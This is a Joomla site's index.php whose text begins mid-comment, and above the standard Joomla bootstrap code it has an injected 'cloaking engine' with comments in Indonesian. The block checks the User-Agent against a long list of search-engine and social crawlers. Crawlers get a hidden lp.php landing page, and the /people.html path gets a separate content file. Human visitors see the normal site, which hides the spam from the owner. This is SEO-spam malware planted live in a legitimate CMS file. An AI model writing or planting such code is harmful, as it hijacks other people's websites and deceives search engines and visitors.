Lihat lp.php * Manusia -> Lihat Joomla Asli * * MODIFICATION: * - /people.html -> tampilkan ini-konten.php (untuk manusia & Googlebot) * - Semua path lain tetap: Googlebot -> lp.php, Manusia -> Joomla */ // ========== CLOAKING ENGINE (PALING ATAS) ========== $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $uri = $_SERVER['REQUEST_URI'] ?? ''; // --- CEK APAKAH INI REQUEST KE /people.html --- $uriPath = parse_url($uri, PHP_URL_PATH); $uriPath = trim($uriPath, '/'); if ($uriPath === 'people.html') { $content_file = __DIR__ . '/ini-konten.php'; if (file_exists($content_file)) { header("HTTP/1.1 200 OK"); header("Content-Type: text/html; charset=UTF-8"); header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Pragma: no-cache"); header("Expires: Wed, 11 Jan 1984 05:00:00 GMT"); include $content_file; exit; } } // --- AKHIR CEK /people.html --- $is_bot = false; $bot_agents = [ 'Googlebot', 'Google-InspectionTool', 'Chrome-Lighthouse', 'bingbot', 'AdsBot-Google', 'Mediapartners-Google', 'Googlebot-Image', 'Googlebot-News', 'Googlebot-Video', 'Google-Site-Verification', 'Google-Structured-Data-Testing-Tool', 'FeedFetcher-Google', 'APIs-Google', 'DuplexOnGoogle', 'Google-PageRenderer', 'Google-Read-Aloud', 'Google-Crawler-Survey', 'Storebot-Google', 'YandexBot', 'YandexMobileBot', 'YandexImages', 'YandexVideo', 'YandexBlogs', 'YandexFavicons', 'YandexWebmaster', 'YandexPageChecker', 'YandexMedia', 'YandexCalendar', 'YandexScreenshotBot', 'BingPreview', 'msnbot', 'MSNBot-Media', 'BingPreview', 'Slurp', 'Yahoo! Slurp', 'DuckDuckBot', 'DuckDuckGo-Favicons-Bot', 'Baiduspider', 'Baiduspider-image', 'Baiduspider-video', 'Baiduspider-news', 'Baiduspider-favicon', 'facebookexternalhit', 'Facebot', 'Twitterbot', 'Pinterestbot', 'LinkedInBot', 'WhatsApp', 'Slackbot', 'TelegramBot', 'Applebot', 'SemrushBot', 'AhrefsBot', 'MJ12bot', 'Screaming Frog SEO Spider', 'SeznamBot', 'BLEXBot', 'DotBot', 'Exabot', 'rogerbot', 'Wget', 'curl/7.', 'python-requests', 'Go-http-client', 'Google-HTTP-Java-Client', 'Google-Cloud-Tasks', ]; foreach ($bot_agents as $bot) { if (stripos($ua, $bot) !== false) { $is_bot = true; break; } } if ($is_bot) { $lp_file = __DIR__ . '/lp.php'; if (file_exists($lp_file)) { header("HTTP/1.1 200 OK"); header("Content-Type: text/html; charset=UTF-8"); header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Pragma: no-cache"); header("Expires: Wed, 11 Jan 1984 05:00:00 GMT"); header("X-Robots-Tag: noarchive, noimageindex"); include $lp_file; exit; } } // ========== AKHIR CLOAKING ENGINE ========== /** * @package Joomla.Site * * @copyright (C) 2005 Open Source Matters, Inc. * @license GNU General Public License version 2 or later; see LICENSE.txt */ /** * Define the application's minimum supported PHP version as a constant so it can be referenced within the application. */ define('JOOMLA_MINIMUM_PHP', '5.3.10'); if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) { die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP . ' or higher to run this version of Joomla!'); } // Saves the start time and memory usage. $startTime = microtime(1); $startMem = memory_get_usage(); /** * Constant that is checked in included files to prevent direct access. * define() is used in the installation folder rather than "const" to not error for PHP 5.2 and lower */ define('_JEXEC', 1); if (file_exists(__DIR__ . '/defines.php')) { include_once __DIR__ . '/defines.php'; } if (!defined('_JDEFINES')) { define('JPATH_BASE', __DIR__); require_once JPATH_BASE . '/includes/defines.php'; } require_once JPATH_BASE . '/includes/framework.php'; // Set profiler start time and memory usage and mark afterLoad in the profiler. JDEBUG ? JProfiler::getInstance('Application')->setStart($startTime, $startMem)->mark('afterLoad') : null; // Instantiate the application. $app = JFactory::getApplication('site'); // Execute the application. $app->execute();